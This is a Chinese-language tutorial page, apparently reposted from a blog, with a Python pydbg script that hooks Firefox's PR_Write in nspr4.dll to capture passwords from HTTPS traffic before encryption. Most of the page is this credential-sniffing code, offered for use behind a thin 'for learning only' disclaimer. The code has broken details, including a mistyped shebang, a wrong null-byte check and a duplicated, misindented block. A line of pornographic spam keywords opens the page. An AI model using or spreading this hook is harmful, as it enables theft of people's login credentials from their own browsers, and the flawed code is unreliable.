欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python利用hook技術(shù)破解https的實(shí)例代碼

 更新時(shí)間:2013年03月25日 10:23:50   作者:  
python利用hook技術(shù)破解https的實(shí)例代碼,需要的朋友可以參考一下

相對于http協(xié)議,http是的特點(diǎn)就是他的安全性,http協(xié)議的通信內(nèi)容用普通的嗅探器可以捕捉到,但是https協(xié)議的內(nèi)容嗅探到的是加密后的內(nèi)容,對我們的利用價(jià)值不是很高,所以一些大的網(wǎng)站----涉及到“大米”的網(wǎng)站,采用的都是http是協(xié)議,嘿嘿,即便這樣,還是有辦法能看到他的用戶名和密碼的,嘿嘿,本文只是用于技術(shù)學(xué)習(xí),只是和大家交流技術(shù),希望不要用于做違法的事情,這個(gè)例子是在firefox瀏覽器下登錄https協(xié)議的網(wǎng)站,我們預(yù)先打開程序,就來了個(gè)捕獲用戶名和密碼:

下面是源代碼:

復(fù)制代碼 代碼如下:

#!/ur/bin/env python    
from pydbg import *
from pydbg.defines import *

import utils    
import sys    

dbg = pydbg()    
found_firefox = False

pattern = "password"

         
def ssl_sniff( dbg, args ):    
    buffer = ""    
    offset = 0

    while 1:    
        byte = dbg.read_process_memory( args[1] + offset, 1 )    
        if byte != "x00":    
            buffer += byte    
            offset += 1
            continue
        else:    
            break
    if pattern in buffer:    
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE    
# 尋找firefox.exe的進(jìn)程    
for (pid, name) in dbg.enumerate_processes():    
    if name.lower() == "firefox.exe":    
        found_firefox = True
        hooks = utils.hook_container()    
        dbg.attach(pid)    
        print "[*] Attaching to firefox.exe with PID: %d" % pid    
# 得到firefox的hook的 address    
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")    
        if hook_address:    
# 添加hook的內(nèi)容,包括他的pid,地址,嗅探類型   

            hooks.add( dbg, hook_address, 2, ssl_sniff, None )    
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address    
            break
        else:    
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)    
        if found_firefox:    
            print "[*] Hooks set, continuing process."
            dbg.run()    
        else:    
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)    

if found_firefox:    
    print "[*] Hooks set, continuing process."
    dbg.run()    
else:    
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

轉(zhuǎn)自:http://world77.blog.51cto.com/414605/518679

相關(guān)文章

最新評論